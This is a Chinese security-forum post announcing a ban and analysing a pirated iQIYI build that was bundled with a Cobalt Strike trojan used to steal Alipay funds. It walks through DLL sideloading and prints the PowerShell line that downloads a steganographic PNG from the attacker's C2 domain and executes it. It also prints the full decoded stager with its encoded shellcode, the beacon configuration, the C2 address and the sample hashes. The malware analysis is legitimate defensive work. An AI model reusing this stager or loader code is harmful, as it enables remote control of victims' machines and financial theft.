BanID:zxj397298976【发布软件捆绑Cobalt Strike远控木马】

1.png

今天早晨收到@cxj998 的举报反馈被盗刷

爱奇艺 v7.8.118.2140 去广告优化版-带病毒
https://www.52pojie.cn/thread-1276263-1-1.html

我们着手分析一下看看软件确实发现了问题,软件利用白加黑启动PowerShell脚本加载Cobalt Strike远程控制木马,用来控制受害者机器进行盗刷支付宝金额。

一:木马行为分析
文件下载后发现使用了MSI打包,使用lessmsi解包(也可以正常安装获得文件)

2.png

解压后通过文件修改时间顺序排序,轻松发现最后修改的文件很可疑

3.png

通过经验(也可以调试下得到)可以看出来App.dll(MD5: 17BD779769DBEC0B58966D066F656A72)加了VMP 2.x的壳是最可疑的了,Appdll.dll其实是正常的app.dll文件,显而易见爱奇艺主程序会主动加载App.dll文件,木马通过替换正常的DLL来做白加黑,所以看下App.dll的代码就好了,vmp 2.x的老版本壳,直接用@ximo 大神的zeus vmp脱壳神器轻松脱掉(当然直接F9跑起来看也行),直接看下字符串只有一行代码:cmd.exe /c powershell -exec bypass -f .\\dataup.ps1 ,就是启动根目录下dataup.ps1(F409AE142DE9167CE4CD2B691F8A2A50),它是一个的PowerShell脚本。

4.png

重点到了dataup.ps1这,我们看下PowerShell脚本内容是:
[PowerShell] 纯文本查看 复制代码sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://cs40a.microsoftup.pw/down/test22a.png"));$o=a Byte[] 5220;(0..2)|%{foreach($x in(0..1739)){$p=$g.GetPixel($x,$_);$o[$_*1740+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3546]))

这个脚本使用隐写的方式,把代码写到png图片里,根据脚本解密后的内容:
[PowerShell] 纯文本查看 复制代码Set-StrictMode -Version 2

$DoIt = @\’
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(\’\\\\\’)[-1].Equals(\’System.dll\’) }).GetType(\’Microsoft.Win32.UnsafeNativeMethods\’)
$var_gpa = $var_unsafe_native_methods.GetMethod(\’GetProcAddress\’, [Type[]] @(\’System.Runtime.InteropServices.HandleRef\’, \’string\’))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod(\’GetModuleHandle\’)).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)

$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(\’ReflectedDelegate\’)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(\’InMemoryModule\’, $false).DefineType(\’MyDelegateType\’, \’Class, Public, Sealed, AnsiClass, AutoClass\’, [System.MulticastDelegate])
$var_type_builder.DefineConstructor(\’RTSpecialName, HideBySig, Public\’, [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags(\’Runtime, Managed\’)
$var_type_builder.DefineMethod(\’Invoke\’, \’Public, HideBySig, NewSlot, Virtual\’, $var_return_type, $var_parameters).SetImplementationFlags(\’Runtime, Managed\’)

return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String(\’38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktEMiMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMe2FVbyPLm/M0T+9tiKiKeUGHZ8xtXX2ewq1PsRjmHxmKhrOBUMPrTQ8BzQXEcv96L0tUOUpZCXgC0KayN2Lt2wT5YLEtVDGGucs97+vRI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxQNExgDdEpNR0xUUANtdwMWDRIYAw1tZncDYG9xAxENEw0WExQRFBgDDW1mdwNgb3EDEA0TDRMXFhMVDRATCi4pIw6UpTF1OBjAlT8DAB47//CyyzTsM+BmHocgmMR7DKE52SkaR+G2JTwk5zpgMV8GbPLeYNUr41CiqiJ2BsyQPAnVxMmQc3UhdPWqfNTLumBPH3OZgV72d94bYT6NEM2kQCtOIqSmcbULbvcpieEKbW5yEHfbGZXFK7v9qVsMQg1jjrx+76WkbIQNFQ1cyztF+kgQ8MACW1tZtz18nWGgA6IMlANij8b0bHH33qBDH0CU875iMbLzmdJdLzxfR5++gwkaDiNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcQFAXE0INTkpAUUxQTEVXVlMNU1QjMRd1Ww==\’)

for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
\’@

If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}

根据经验(调试多了就知道了),很像Cobalt Strike的PowerShell服务端脚本,从上面的Base64转换然后和35(十进制)进行异或就得到了ShellCode,4KB大小,不出意外就是Cobalt Strike了,那我们继续调试下这个ShellCode。

调试小技巧:比较简单的办法可以把ShellCode的二进制代码直接复制出来,随便找个无壳程序用OD加载,然后把二进制代码从入口点粘贴覆盖进行,就可以正常调试了(覆盖后保存文件重新OD加载一下,这样可以直接Ctrl+A分析下代码)

5.png

通过经验,看到ShellCode的API调用方式,再次印证就是Cobalt Strike了,调试过程略过(可以自己学习单步跟踪尝试一下),流程就是ShellCode去cs40a.microsoftup.pw请求获取Beacon核心DLL进行内存解密加载

6.png

网络获取的Beacon核心代码先进行自解密出PE,然后进行内存执行

7.png

小技巧:解密出PE以后可以直接把这个数据段dump下来,然后用ExeinfoPE来提取DLL

8.png

9.png

解密后的DLL通过LordPE查看导出模块名称确实是beacon.dll,再再一次印证就是Cobalt Strike了

10.png

有了Cobalt Strike的beacon.dll,那我们就看看它的木马配置信息吧,简单的办法直接用6总的神器,在线解密Cobalt Strike配置信息,只需要把bin文件上传即可获得,解密网址:http://pokemon.work:8501

12.png

File 4a8abb8f54fd4283af2fde919f923625bc3d6b998b215467ddc125d1b5d2823d receved !

BeaconType – HTTP
Port – 4455
SleepTime – 60000
MaxGetSize – 1048576
Jitter – 0
MaxDNS – 255
PublicKey – b\’0\\x81\\x9f0\\r\\x06\\t\\x86H\\x86\\xf7\\r\\x01\\x01\\x01\\x05\\x00\\x03\\x81\\x8d\\x000\\x81\\x89\\x02\\x81\\x81\\x00\\xa7\\t\\x91\\xd6\\x9d\\x81j`\\x1f\\xfa\\x80\\x97ds\\x83\\x0f\\r;A\\\’m\\\’\\x90@\\x1d\\xde\\xdb\\x18\\xe2\\xd3\\xca\\xb3\\xc3\\x15\\xe3"#%\\xbeB\\xb6Z\\xdb(x\\xf3?Z\\x03\\xffP\\x10\\xb2>\\x84Q\\x0c\\x14\\x82\\xadjB\\xf1\\xe7\\xe5rn\\xb3\\x18\\x13\\xe7Cv@\\xedxy\\x95_@\\x1e\\x17,4\\xd3QrAYm\\xd4\\x1f\\x8eH\\xd3\\xd1\\xb1\\xc2\\x88\\xe6\\xc8u/\\xf6]\\xc2z\\xcc\\xcb\\xa4\\xba\\x9c\\xd6\\xd0\\xe4\\xdea\\x96\\xce\\xa4\\xdaH\\r;\\x99\\xd0\\xed\\x02\\x03\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\’
C2Server – cs40a.microsoftup.pw,/activity
UserAgent – Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
HttpPostUri – /submit.php
HttpGet_Metadata – Cookie
HttpPost_Metadata – Content-Type: application/octet-stream
id
SpawnTo – b\’\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\’
PipeName –
DNS_Idle – 0.0.0.0
DNS_Sleep – 0
SSH_Host – Not Found
SSH_Port – Not Found
SSH_Username – Not Found
SSH_Password_Plaintext – Not Found
SSH_Password_Pubkey – Not Found
HttpGet_Verb – GET
HttpPost_Verb – POST
HttpPostChunk – 0
Spawnto_x86 – %windir%\\syswow64\\rundll32.exe
Spawnto_x64 – %windir%\\sysnative\\rundll32.exe
CryptoScheme – 0
Proxy_Config – Not Found
Proxy_User – Not Found
Proxy_Password – Not Found
Proxy_Behavior – Use IE settings
Watermark – 305419896
bStageCleanup – False
bCFGCaution – False
KillDate – 0
bProcInject_StartRWX – True
bProcInject_UseRWX – True
bProcInject_MinAllocSize – 0
ProcInject_PrependAppend_x86 – Empty
ProcInject_PrependAppend_x64 – Empty
ProcInject_Execute – CreateThread
SetThreadContext
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod – VirtualAllocEx
bUsesCookies – True
HostHeader –
Done!

C2的服务器地址:

cs40a.microsoftup.pw(139.162.113.21)

当然了,有兴趣的同学可以手动调试DLL来获取配置信息和相关功能,我已经调试过很多次就不再赘述,关于Cobalt Strike木马相关的文章也有不少,大家可以搜索学习,本文也是借此机会对Cobalt Strike其中一种ShellCode加载方式进行了分析讲解,希望可以帮助到大家。

木马下载地址以及相关文件MD5(解压密码:52pojie):

App.dll MD5: 17BD779769DBEC0B58966D066F656A72
dataup.ps1 MD5: F409AE142DE9167CE4CD2B691F8A2A50
shellcode MD5: DDFE4FA2341F59292BFBA48E30988831
Beacon.dll MD5: 50B9A5F1257F5F392D5415FED80904D7

样本.rar

(287.04 KB, 下载次数: 16)

PW:52pojie

二:溯源分析
通过C2域名非常眼熟,简单搜索了下发现之前360安全卫士在6月份就发过相关的分析:https://www.360.cn/n/11718.html ,原来是持续性作案,一直通过替换热门软件的DLL,进行白加黑启动木马来作案,最后通过各种方式进行大数据检索定位到这位作案的朋友,过程略。。。

相关分析溯源已提交给支付宝安全中心、360安全中心,受害人也已报警,相关信息已提交公安,希望好生招待这位朋友。

三:后话
虽然论坛有很多高手,但我们希望提高所有人的安全意识和识别能力,看上述我的分析,你是不是也想来试试?

学会了之后,有能力分析出问题也可以帮助我们,尽快举报,大家合力保卫论坛安全。

想对那些心怀不轨的人说,你在吾爱破解这样的技术论坛玩这种小伎俩,分分钟就给你剥皮把肉看得清清楚楚了,这里都是活跃在互联网安全界的精英,任何小动作都是自讨苦吃,奉劝那些蠢蠢欲动的人,尽快走入正途,不要误入歧途!

最后感谢大家一直以来对吾爱破解论坛的支持和维护,论坛安全离不开大家监督,任何违法违规的行为都逃不过大家的眼睛和管理的审查,对待此类*渣论坛绝不手软,坚决处罚到底!